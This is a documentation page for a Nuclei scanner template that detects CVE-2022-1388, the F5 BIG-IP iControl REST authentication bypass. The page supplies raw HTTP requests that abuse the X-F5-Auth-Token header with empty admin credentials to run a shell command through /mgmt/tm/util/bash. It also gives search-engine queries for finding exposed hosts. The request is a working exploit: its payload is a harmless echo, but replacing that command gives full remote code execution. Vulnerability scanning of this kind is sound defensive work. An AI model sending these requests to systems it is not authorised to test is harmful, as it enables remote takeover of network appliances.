Skip to content
Nuclei Templates

F5 BIG-IP iControl - REST Auth Bypass RCE

ID: CVE-2022-1388

Severity: critical

Author: dwisiswant0,Ph33r

Tags: cve,cve2022,f5,bigip,rce,mirai,kev

Description

Section titled “Description”

F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, may allow undisclosed requests to bypass iControl REST authentication.

YAML Source

Section titled “YAML Source”
id: CVE-2022-1388


info:
  name: F5 BIG-IP iControl - REST Auth Bypass RCE
  author: dwisiswant0,Ph33r
  severity: critical
  description: |
    F5 BIG-IP 16.1.x versions prior to 16.1.2.2, 15.1.x versions prior to 15.1.5.1, 14.1.x versions prior to 14.1.4.6, 13.1.x versions prior to 13.1.5, and all 12.1.x and 11.6.x versions, may allow undisclosed requests to bypass iControl REST authentication.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to bypass authentication and execute arbitrary code on the affected system.
  remediation: |
    Apply the necessary security patches or updates provided by F5 Networks to mitigate this vulnerability.
  reference:
    - https://twitter.com/GossiTheDog/status/1523566937414193153
    - https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
    - https://support.f5.com/csp/article/K23605346
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388
    - https://www.secpod.com/blog/critical-f5-big-ip-remote-code-execution-vulnerability-patch-now/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1388
    cwe-id: CWE-306
    epss-score: 0.97477
    epss-percentile: 0.99964
    cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: f5
    product: big-ip_access_policy_manager
    shodan-query:
      - http.title:"BIG-IP®-+Redirect" +"Server"
      - http.title:"big-ip®-+redirect" +"server"
    fofa-query: title="big-ip®-+redirect" +"server"
    google-query: intitle:"big-ip®-+redirect" +"server"
  tags: cve,cve2022,f5,bigip,rce,mirai,kev
variables:
  auth: "admin:"
  cmd: "echo CVE-2022-1388 | rev"


http:
  - raw:
      - |
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: {{Hostname}}
        Connection: keep-alive, X-F5-Auth-Token
        X-F5-Auth-Token: a
        Authorization: Basic {{base64(auth)}}
        Content-Type: application/json


        {
             "command": "run",
             "utilCmdArgs": "-c '{{cmd}}'"
        }
      - |
        POST /mgmt/tm/util/bash HTTP/1.1
        Host: localhost
        Connection: keep-alive, X-F5-Auth-Token
        X-F5-Auth-Token: a
        Authorization: Basic {{base64(auth)}}
        Content-Type: application/json


        {
             "command": "run",
             "utilCmdArgs": "-c '{{cmd}}'"
        }


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "commandResult"
          - "8831-2202-EVC"
        condition: and
# digest: 4a0a004730450220739e2c13fdcca854c07cd492d46b1c55154c887ec470e635b7c195391122e2fa022100dca6f5552c8da7ed65806bf2797656e0f7bccd985220b93b560de562232c372f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-1388.yaml"

View on Github